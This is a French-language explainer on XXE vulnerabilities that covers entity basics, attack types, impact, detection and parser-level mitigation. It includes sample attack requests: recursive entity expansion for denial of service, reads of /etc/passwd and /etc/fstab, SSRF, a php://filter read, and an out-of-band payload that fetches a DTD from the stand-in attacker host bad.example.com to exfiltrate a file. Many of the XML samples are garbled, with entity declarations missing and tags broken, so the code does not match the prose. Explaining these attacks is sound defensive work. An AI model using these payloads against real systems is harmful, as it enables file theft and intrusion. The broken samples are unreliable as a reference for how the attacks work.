Entité externe XML (XXE)

Que sont les vulnérabilités XXE ?

Les vulnérabilités d’entité externe XML (XXE) (également appelées injections d’entité externe XML ou injections XXE ) se produisent si une application Web ou une API accepte des données XML non nettoyées et que son analyseur XML principal est configuré pour autoriser l’analyse d’entité XML externe. Les vulnérabilités XXE peuvent permettre à des pirates malveillants d’effectuer des attaques telles que la falsification de requêtes côté serveur (SSRF) , l’inclusion de fichiers locaux (LFI) , la traversée de répertoires , l’exécution de code à distance (RCE) , l’analyse des ports réseau et le déni de service (DoS).

Gravité:		grave
Prévalence:		découvert rarement
Portée:		peut apparaître dans les applications Web et les API qui acceptent les entrées XML
Impact technique :		SSRF, LFI, RCE, DoS
Conséquences dans le pire des cas :		compromis complet du système
Solution rapide:		configurer l’analyseur XML pour interdire les entités externes XML

Notez que les vulnérabilités XXE ont été présentées pour la première fois dans la liste OWASP Top 10 en 2017 et ont immédiatement atteint la place A4. Dans le Top 10 OWASP pour 2022, ils sont regroupés avec les erreurs de configuration de sécurité sous A5.

Comment fonctionnent les attaques d’entités externes XML ?

Pour que les attaques XXE soient possibles, une application Web ou une API doit répondre à plusieurs exigences spécifiques :

• Il doit accepter l’entrée XML de l’utilisateur et l’analyser à l’aide d’un analyseur XML principal
• L’analyseur XML doit avoir la prise en charge des entités externes XML activée

Pour comprendre ce qui rend cette vulnérabilité de sécurité possible, nous devons commencer par quelques bases XML.

Comment les applications Web et les API utilisent-elles XML ?

Les applications Web et les API utilisent souvent le langage de balisage extensible (XML) pour communiquer entre elles et accepter les données structurées des utilisateurs. Les cas d’utilisation courants incluent :

• Services Web et API : les services Web et les API transmettent souvent des données entre le client et le serveur à l’aide de XML. Ceci est particulièrement courant dans le cas des services Web plus anciens qui utilisent la norme SOAP.
• Systèmes de gestion de contenu : certains systèmes de gestion de contenu (CMS) permettent aux utilisateurs de télécharger du contenu au format XML. Une telle fonctionnalité d’importation pourrait être là, par exemple, pour importer et convertir des articles de blog à partir d’un ancien CMS ou pour traiter des fichiers DOCX ou des images SVG téléchargés (qui sont tous deux des documents XML).
• Commerce électronique : Certaines solutions de commerce électronique échangent des données avec d’autres systèmes en utilisant XML. Par exemple, ils peuvent utiliser des documents XML pour communiquer avec des systèmes de gestion des stocks ou des passerelles de paiement.

Pour fournir une telle fonctionnalité, l’application Web ou l’API utilise un analyseur XML principal, généralement une bibliothèque importée écrite dans le même langage que l’application. Les exemples incluent SimpleXML pour PHP, DocumentBuilder pour Java, ElementTree pour Python, XmlReader pour .NET ou DomParser pour JavaScript.

Que sont les DTD et les entités XML ?

Avant qu’un analyseur XML puisse traiter une entrée XML, vous devez déclarer la structure des documents d’entrée valides. Sachant cela, l’analyseur peut déterminer si les données d’entrée sont un document XML valide d’un type attendu, puis traiter son contenu. Il existe deux formats pour définir le type de document : les définitions de schéma XML (XSD) plus puissantes et complexes et les définitions de type de document (DTD) plus simples et plus anciennes. Les DTD sont parfois considérées comme dépassées (elles sont dérivées de SGML, l’ancêtre de XML), mais sont encore très souvent utilisées.

Les entités XML sont des paramètres d’espace réservé représentant des caractères difficiles à saisir ou ayant une signification particulière. Les entités sont définies dans une DTD à l’aide de l’ élément . Pour faire référence à une entité définie, vous utilisez son nom précédé d’une esperluette ( &) et suivi d’un point-virgule ( ;). Vous connaissez peut-être les entités en HTML, par exemple, &et  .

L’une des utilisations des entités XML dans les DTD consiste à incorporer du contenu ou des références externes dans la DTD elle-même ou dans des documents qui utilisent la DTD. Ces inclusions sont appelées entités XML externes (XXE). Les XXE peuvent être exploités par des pirates malveillants pour accéder à des fichiers locaux, des URL sur un réseau local, etc.

Types d’attaques XXE

Il existe trois types de base d’attaques XXE : XXE intrabande , XXE hors bande et XXE aveugle .

• Dans une attaque XXE intrabande , l’attaquant envoie l’attaque et reçoit une réponse via le même canal, par exemple, via une requête et une réponse HTTP directes.
• Dans une attaque OOB XXE , le système vulnérable envoie les résultats d’une attaque à une autre ressource contrôlée par l’attaquant. Par exemple, l’attaque peut être effectuée à l’aide d’une requête directe, mais amener le serveur Web piraté à envoyer un fichier sensible au propre serveur Web de l’attaquant.
• Dans une attaque XXE aveugle , l’attaquant ne reçoit aucune réponse directe ou résultat suite à une attaque. Au lieu de cela, ils observent le comportement de l’application Web vulnérable (par exemple, les messages d’erreur qu’elle génère) pour déterminer si l’attaque a réussi et utilisent ce retour indirect pour exfiltrer les informations étape par étape.

Dans ce guide, nous nous concentrerons sur les attaques XXE dans la bande, mais les techniques décrites ici peuvent également être utilisées pour les attaques OOB XXE et aveugles XXE.

Exemples d’attaques XXE

Les attaques XXE sont effectuées en définissant des entités XML malveillantes dans l’entrée utilisateur qui seront analysées par un analyseur XML principal. Voici un exemple de définition d’entité externe XML simple (non malveillante) :

Demande:

POST http://example.com/xml HTTP/1.1

DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar "World">
]>
<foo>
  Hello &bar;
foo>

Réponse:

HTTP/1.0 200 OK
Hello World

Exemple d’attaque XXE DoS

Les définitions d’entités externes XML peuvent elles-mêmes contenir d’autres définitions d’entités. Cela permet à un attaquant de créer une structure récursive d’appels qui nécessite très peu de données d’entrée mais peut produire beaucoup de sortie. Une telle sortie peut être utilisée pour épuiser la mémoire du processeur XML et potentiellement même surcharger le serveur Web. En étendant l’exemple suivant avec encore plus d’entités, un attaquant pourrait facilement créer une entité si grande qu’elle épuiserait la mémoire de tout analyseur XML qui tenterait de la traiter, entraînant un déni de service.

Demande:

POST http://example.com/xml HTTP/1.1
 
DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar "World ">
  <!ENTITY t1 "&bar;&bar;">
  <!ENTITY t2 "&t1;&t1;&t1;&t1;">
  <!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
<foo>
  Hello &t3;
foo>

Réponse:

HTTP/1.0 200 OK
Hello World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World

Exemple d’exfiltration de données locales XXE

Les définitions XXE peuvent inclure des schémas d’URL tels que file: dans les valeurs d’entité. Par conséquent, un attaquant peut inclure une référence à un fichier du système de fichiers local accessible depuis le serveur Web. Il peut s’agir, par exemple, d’un fichier tel que /etc/passwd ou de l’un des fichiers de code source de l’application Web. Les résultats d’une telle attaque sont similaires à une attaque par inclusion de fichiers locaux associée à une traversée de répertoire.

Demande:

POST http://example.com/xml HTTP/1.1
 
DOCTYPE foo [
  <!ELEMENT foo ANY>
  
]>
<foo>
  &xxe;
foo>

Réponse:

HTTP/1.0 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh 
(...)

Exemple de SSRF basé sur XXE

Les définitions XXE peuvent également contenir des URL qui pointent vers des ressources externes. Étant donné que la demande à l’URL est effectuée à partir de l’application Web elle-même, car c’est là que le XML est analysé, cela permet la falsification de la demande côté serveur. L’attaquant peut alors accéder aux fichiers sur le réseau local comme s’il se trouvait à l’intérieur de ce réseau, contournant ainsi les protections telles que les pare-feu.

Demande:

POST http://example.com/xml HTTP/1.1
 
DOCTYPE foo [
  <!ELEMENT foo ANY>
  
]>
<foo>
  &xxe;
foo>

Réponse:

HTTP/1.0 200 OK
Content of the secret.txt file on the local network (behind the firewall)

Limitations et solutions de contournement pour l’exfiltration de données XML

Il existe une limitation majeure lors de l’utilisation de XXE pour exfiltrer des données. La réponse entière est analysée en tant que XML, donc si les données exfiltrées contiennent ou même ne ressemblent qu’à du XML, elles seront également analysées en tant que XML. Cela peut provoquer une erreur d’analyseur ou brouiller les données exfiltrées :

Demande:

POST http://example.com/xml HTTP/1.1
DOCTYPE foo [
  <!ELEMENT foo ANY>
  ">>
]>
<foo>
  &bar;
foo>

Réponse:

HTTP/1.0 500 Internal Server Error
File "file:///etc/fstab", line 3
lxml.etree.XMLSyntaxError: Specification mandate value for attribute system, line 3, column 15...

Par conséquent, les attaques XXE simples ne peuvent être utilisées que pour obtenir des fichiers ou des réponses considérés comme XML valides par l’analyseur, ce qui signifie que vous ne pouvez pas les utiliser pour obtenir des fichiers binaires.

XML lui-même inclut une solution de contournement pour ce problème. Il existe des cas légitimes où vous devrez peut-être stocker des caractères spéciaux XML dans des fichiers XML. À cette fin, XML fournit CDATAdes balises (données de caractères) pouvant contenir n’importe quel caractère spécial :

<data> characters are ok in here ]]>data>

Utilisation d’entités de paramètres avec CDATA

Outre les entités générales, XML prend également en charge les entités paramètres. Les entités de paramètre ne sont utilisées que dans les définitions de type de document (DTD).

Une entité paramètre commence par le %caractère. Ce caractère indique à l’analyseur XML qu’une entité de paramètre est en cours de définition, par opposition à une entité générale. Dans l’exemple non malveillant suivant, une entité de paramètre est utilisée pour définir une entité générale qui est ensuite appelée à partir du document XML.

Demande:

POST http://example.com/xml HTTP/1.1

DOCTYPE data [
  <!ENTITY % paramEntity
  " genEntity 'bar'>">
  %paramEntity;
]>
<data>&genEntity;data>

Réponse:

HTTP/1.0 200 OK
bar

En combinant des entités paramètres et CDATAdes balises, un attaquant peut créer une DTD illicite hébergée sur bad.example.com/evil.dtd :

Demande:

POST http://example.com/xml HTTP/1.1

DOCTYPE data [
  
  %dtd;
  %all;
]>
<data>&fileContents;data>

DTD de l’attaquant ( bad.example.com/evil.dtd) :

<!ENTITY % start ">
<!ENTITY % end "]]>">
<!ENTITY % all " fileContents 
'%start;%file;%end;'>">

Lorsqu’un attaquant envoie la charge utile XXE ci-dessus, l’analyseur XML tente d’abord de traiter l’ %dtdentité de paramètre en adressant une requête à http://bad.example.com/evil.dtd . Une fois la DTD de l’attaquant téléchargée, l’analyseur XML chargera l’ %fileentité de paramètre (de evil.dtd ), qui dans cet exemple pointe vers /etc/fstab . Ensuite, l’analyseur enveloppe le contenu du fichier dans CDATAdes balises définies à l’aide des entités de paramètre %startet %end. Enfin, tout est stocké dans une autre entité de paramètre appelée %all.

Le cœur de l’astuce est qu’il %alldéfinit en fait une entité générale appelée &fileContentsqui peut être incluse dans la réponse. Le résultat final est le contenu du fichier /etc/fstab entouré de CDATAbalises.

Utilisation des wrappers de protocole PHP

Si l’application web vulnérable à XXE est une application PHP, de nouveaux vecteurs d’attaque s’ouvrent grâce aux wrappers de protocole PHP. Les wrappers de protocole PHP sont des flux d’E/S qui permettent d’accéder aux flux d’entrée et de sortie PHP.

Un attaquant peut utiliser le wrapper du protocole PHP/filter pour encoder en Base64 le contenu d’un fichier. Étant donné que Base64 sera toujours traité comme des données XML valides, un attaquant peut simplement encoder des fichiers sur le serveur, puis les décoder du côté récepteur. Surtout, cette méthode permet également à l’attaquant de voler des fichiers binaires.

Demande:

POST http://example.com/xml.php HTTP/1.1

DOCTYPE foo [
  <!ELEMENT foo ANY>
  
]>
<foo>
  &bar;
foo>

Réponse:

HTTP/1.0 200 OK
IyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0gaW5mb3JtYXRpb24uDQojDQojIDxmaWxlIHN5c3RlbT4gPG1vdW50IHBvaW50PiAgIDx0eXBlPiAgPG9wdGlvbnM+ICAgICAgIDxkdW1wPiAgPHBhc3M+DQoNCnByb2MgIC9wcm9jICBwcm9jICBkZWZhdWx0cyAgMCAgMA0KIyAvZGV2L3NkYTUNClVVSUQ9YmUzNWE3MDktYzc4Ny00MTk4LWE5MDMtZDVmZGM4MGFiMmY4ICAvICBleHQzICByZWxhdGltZSxlcnJvcnM9cmVtb3VudC1ybyAgMCAgMQ0KIyAvZGV2L3NkYTYNClVVSUQ9Y2VlMTVlY2EtNWIyZS00OGFkLTk3MzUtZWFlNWFjMTRiYzkwICBub25lICBzd2...

Conséquences potentielles d’une attaque XXE

Si l’analyseur XML utilisé par une application Web prend en charge les entités externes XML, les attaquants peuvent utiliser les techniques décrites ci-dessus pour abuser des définitions XXE et effectuer diverses attaques, notamment :

• Déni de service : si l’attaquant crée des XXE qui s’incluent récursivement les uns dans les autres, il peut effectuer une attaque DoS appelée l’ attaque du milliard de rires . Cette attaque entraîne un manque de mémoire de l’analyseur XML et peut empêcher le serveur Web de répondre. La même chose peut se produire si le XXE pointe vers un fichier volumineux ou un flux du serveur, par exemple, /dev/urandom sous Linux.
• Analyse de port : si l’attaquant crée des XXE qui tentent de se connecter à un port spécifique sur une machine du réseau local, les réponses de l’hôte peuvent lui permettre de déterminer si ce port est ouvert ou non. En répétant ce processus pour plusieurs ports, les attaquants peuvent effectuer des analyses de port derrière un pare-feu.
• Inclusion de fichiers locaux et traversée de répertoires : si l’attaquant crée un XXE qui pointe vers un fichier local sur le serveur, il peut lire des données sensibles à partir de fichiers locaux, ce qui équivaudrait à effectuer une LFI avec traversée de chemin. Par exemple, ils pourraient lire le fichier /etc/passwd sur les systèmes Linux.
• Contrefaçon de requête côté serveur : si l’attaquant crée un XXE qui pointe vers une URL, il peut effectuer une attaque SSRF. Étant donné que l’URL est accessible par l’application Web elle-même, la demande sera considérée comme provenant de l’application, et non de l’utilisateur. Cela peut permettre aux attaquants d’accéder à des systèmes protégés par des pare-feux et des listes blanches.
• Exécution de code à distance (RCE) : dans de rares cas, par exemple, lors de l’utilisation du wrapper PHP/expect, il est possible d’exécuter du code à distance via XXE, comme l’a démontré Airman .

Comment détecter les vulnérabilités XXE ?

La meilleure façon de détecter les vulnérabilités XXE dépend de si elles sont déjà connues ou inconnues.

• Si vous n’utilisez que des logiciels commerciaux ou open source et que vous ne développez pas de logiciels vous-même, vous trouverez peut-être qu’il suffit d’identifier la version exacte du système ou de l’application que vous utilisez. Si la version identifiée présente une vulnérabilité XXE, vous pouvez supposer que vous êtes sensible à cette vulnérabilité. Vous pouvez identifier la version manuellement ou utiliser un outil de sécurité approprié, tel qu’un logiciel d’analyse de la composition logicielle (SCA) dans le cas d’applications Web ou un analyseur de réseau dans le cas de systèmes et d’applications en réseau.Si vous développez votre propre logiciel ou souhaitez potentiellement trouver des vulnérabilités XXE inconnues (jours zéro) dans des applications connues, vous devez être en mesure d’exploiter avec succès la vulnérabilité XXE pour être certain qu’elle existe. Dans de tels cas, vous devez soit effectuer des tests d’intrusion manuels avec l’aide de chercheurs en sécurité ou de testeurs d’intrusion, soit utiliser un outil de test de sécurité des applications (scanner de vulnérabilité Web) qui peut exploiter automatiquement les vulnérabilités. 

Comment prévenir les vulnérabilités XXE dans les applications Web ?

Étant donné que XXE est considéré comme un type d’attaque par injection XML, certaines sources recommandent simplement la validation des entrées et le nettoyage des documents XML par le filtrage et l’échappement pour empêcher que le contenu potentiellement dangereux ne soit interprété comme du XML. Cela inclut également la création de listes blanches et de listes noires pour le contenu XML. Cependant, nous ne recommandons pas cette approche car, en raison de la manière dont l’entrée XML est utilisée par la plupart des applications, il n’est pas pratique d’appliquer un nettoyage et une validation manuels.

Une grande partie de la communication XML entre les applications Web et les API (ainsi que la communication avec les utilisateurs) implique la transmission de documents XML complets. Par conséquent, le filtrage et l’échappement de tout le contenu de ces documents sont très gênants et, s’ils ne sont pas effectués correctement, peuvent rendre l’ensemble du document invalide. Conformément à la documentation OWASP, nous recommandons qu’au lieu d’essayer d’empêcher XXE dans des applications spécifiques, les développeurs et les administrateurs de serveurs Web travaillent ensemble pour mettre en œuvre des directives générales d’atténuation en interdisant les entités externes XML au niveau de l’analyseur XML, et non de l’application Web.

Comment atténuer les attaques XXE ?

Le seul moyen efficace d’atténuer les attaques XXE est d’empêcher complètement les développeurs d’utiliser des entités externes XML dans du contenu XML provenant de sources non fiables. L’OWASP recommande en outre de désactiver complètement le traitement des définitions de type de document externe et de limiter les développeurs aux seules DTD statiques et locales. Si la fonctionnalité de votre application Web dépend de l’utilisation de DTD externes, vous pouvez empêcher les attaques XXE en désactivant la prise en charge des entités externes dans les DTD externes.

Pour savoir comment désactiver le traitement DTD et XXE dans votre analyseur XML spécifique, reportez-vous à la feuille de prévention OWASP XXE appropriée , qui contient des instructions pour de nombreux langages de programmation et analyseurs XML couramment utilisés.